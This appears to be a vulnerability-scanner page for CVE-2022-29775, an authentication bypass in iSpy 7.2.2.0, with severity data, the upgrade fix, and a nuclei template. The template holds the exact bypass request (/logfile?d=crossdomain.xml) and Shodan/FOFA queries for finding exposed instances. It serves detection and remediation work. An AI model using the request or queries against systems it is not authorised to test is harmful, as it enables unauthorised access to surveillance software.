iSpy 7.2.2.0 - Authentication Bypass

criticalseverity

9.8CVSS score

61%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

iSpy 7.2.2.0 contains an authentication bypass vulnerability. An attacker can craft a URL and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the system.

Fix

Upgrade to the latest version of iSpy (7.2.2.1 or higher) which includes a fix for the authentication bypass vulnerability.

How to confirm it

Send: GET {{BaseURL}}/logfile?d=crossdomain.xml
Positive when: contains "Log Start" and "Log File" and "iSpy" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-29775 -u <target>

The full check

id: CVE-2022-29775

info:
  name: iSpy 7.2.2.0 - Authentication Bypass
  author: arafatansari
  severity: critical
  description: |
    iSpy 7.2.2.0 contains an authentication bypass vulnerability. An attacker can craft a URL and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the system.
  remediation: |
    Upgrade to the latest version of iSpy (7.2.2.1 or higher) which includes a fix for the authentication bypass vulnerability.
  reference:
    - https://gist.github.com/securylight/79f673aa3a453c80c0e78f356a8f650b
    - https://github.com/securylight/CVES_write_ups/blob/main/iSpy_connect.pdf
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-29775
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29775
    - https://github.com/securylight/CVES_write_ups
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-29775
    cwe-id: CWE-287
    epss-score: 0.61034
    epss-percentile: 0.99163
    cpe: cpe:2.3:a:ispyconnect:ispy:7.2.2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ispyconnect
    product: ispy
    shodan-query:
      - http.html:"iSpy is running"
      - http.html:"ispy is running"
    fofa-query: body="ispy is running"
  tags: cve,cve2022,ispy,auth-bypass,ispyconnect,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/logfile?d=crossdomain.xml'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Log Start'
          - 'Log File'
          - 'iSpy'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from